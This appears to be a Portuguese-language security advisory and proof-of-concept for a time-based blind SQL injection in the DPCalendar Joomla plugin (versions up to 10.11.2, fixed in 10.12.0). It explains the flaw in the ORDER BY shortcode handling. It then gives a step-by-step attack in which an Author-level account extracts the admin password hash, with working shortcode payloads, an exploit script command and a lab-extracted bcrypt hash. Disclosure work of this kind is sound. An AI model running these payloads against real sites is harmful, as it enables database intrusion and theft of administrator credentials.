
SQL Injection via ORDER BY Shortcode no plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Usuário de nível Autor Extrai o Banco de Dados Inteiro via Injeção Cega Baseada em Tempo
O plugin de conteúdo plg_content_dpcalendar processa shortcodes {{#events order="..."}}{{/events}} incorporados no corpo de artigos do Joomla. O valor do parâmetro order é passado diretamente para , ignorando completamente a lista de permissões do próprio do modelo. O valor é então inserido em uma cláusula SQL protegida apenas por — insuficiente contra injeção por subconsulta.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Um usuário de nível Autor que possa criar ou editar artigos pode explorar isso para exfiltrar dados do banco de dados via injeção cega de SQL baseada em tempo. O SQLi é disparado dentro da própria requisição de salvamento de artigo do atacante — sem interação da vítima, sem artigo publicado e sem envolvimento de administrador.
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Nota: Esta vulnerabilidade é distinta da CVE-2026-57831 (SQLi não autenticado em
EventsModel.phpviafilter_created_by, corrigida na v10.11.2). A presente descoberta afeta o plugin de conteúdo (plg_content_dpcalendar) — um arquivo diferente, um parâmetro diferente, e não foi corrigida na versão mais recente no momento da descoberta.
Tipo: Injeção de SQL (CWE-89) — Cega Baseada em Tempo
Autenticação necessária: Papel de Autor (pode criar/editar artigos no Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
Arquivo: plg_content_dpcalendar/src/Extension/DPCalendar.php
O parser de shortcodes do plugin itera sobre todos os parâmetros chave-valor em uma tag {{#events}} e define o estado do modelo diretamente, ignorando completamente a validação da lista de permissões do populateState():
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — TRATAMENTO VULNERÁVEL DE PARÂMETROS
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERÁVEL: define o estado de ordenação diretamente da entrada do usuário
// ignora completamente a lista de permissões do populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
O valor contaminado flui para EventsModel::getListQuery() com apenas escape de aspas aplicado — insuficiente para bloquear injeção por subconsulta em um contexto ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUÇÃO DO ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escapa apenas aspas — NÃO impede injeção por subconsulta
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Uma subconsulta como (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passa por $db->escape() sem modificações porque não contém caracteres de aspas. O SQL resultante torna-se:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
A expressão ORDER BY só é avaliada quando o conjunto de resultados não está vazio — exigindo pelo menos um evento DPCalendar futuro publicado, a condição padrão para qualquer instalação ativa do DPCalendar.
Comportamento-chave: O SQLi é disparado dentro da própria requisição POST de salvar/editar — o atraso de tempo é observável diretamente na resposta HTTP (redirect 303). O atacante mede o tempo de resposta do próprio POST; nenhuma visualização de artigo, recarregamento de página ou etapa de publicação é necessária.
Pré-requisitos:
plg_content_dpcalendar habilitado (padrão na instalação do DPCalendar)start_date futuraCenário: SQLi Cego Baseado em Tempo → Extração de Credenciais de Administrador
O plugin define filter.state = 1 e list.start-date = NOW() antes de construir a consulta. Subconsultas ORDER BY só são executadas quando o conjunto de resultados contém linhas; se 0 linhas corresponderem, SLEEP() nunca é chamado.

Autentique-se no frontend do Joomla usando uma conta de Autor. Nenhum acesso de administrador é necessário em nenhum ponto deste ataque.

Navegue até o formulário de envio de artigo no frontend (/submit-article). Insira o seguinte payload no corpo do artigo e clique em Salvar:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
A própria resposta POST é atrasada em ~5 segundos. onContentPrepare é disparado durante o pipeline de salvamento do Joomla, invocando a consulta vulnerável antes do redirect 303 ser emitido. Nenhuma visualização de artigo ou publicação é necessária.

Substitua 1=1 por 1=2 (sempre falso). SLEEP não é acionado e a resposta retorna imediatamente (~100ms), confirmando uma separação de tempo confiável.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Use comparações ASCII(SUBSTRING(...)) para ler cada caractere. Aspas simples devem ser evitadas (a regex do shortcode [^"\']* para em qualquer caractere de aspas); use valores ASCII decimais:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Tempo de resposta ~5s → VERDADEIRO → char[1] = '$' (ASCII 36 — primeiro caractere de um hash bcrypt $2y$10$...).

Execute exploit/exploit.py para automatizar o loop de extração byte a byte:
python3 exploit/exploit.py http://TARGET
O script faz login como Autor, envia payloads elaborados e extrai nome de usuário, e-mail e o hash completo de 60 caracteres da senha bcrypt. Resultado do laboratório confirmado: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Condição | Tempo de Resposta |
|---|---|
VERDADEIRA: ASCII(SUBSTR(password,1,1))=36 | ~5.000 ms |
FALSA: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), tokens de sessão e e-mails de usuários via injeção cega de SQL baseada em tempo.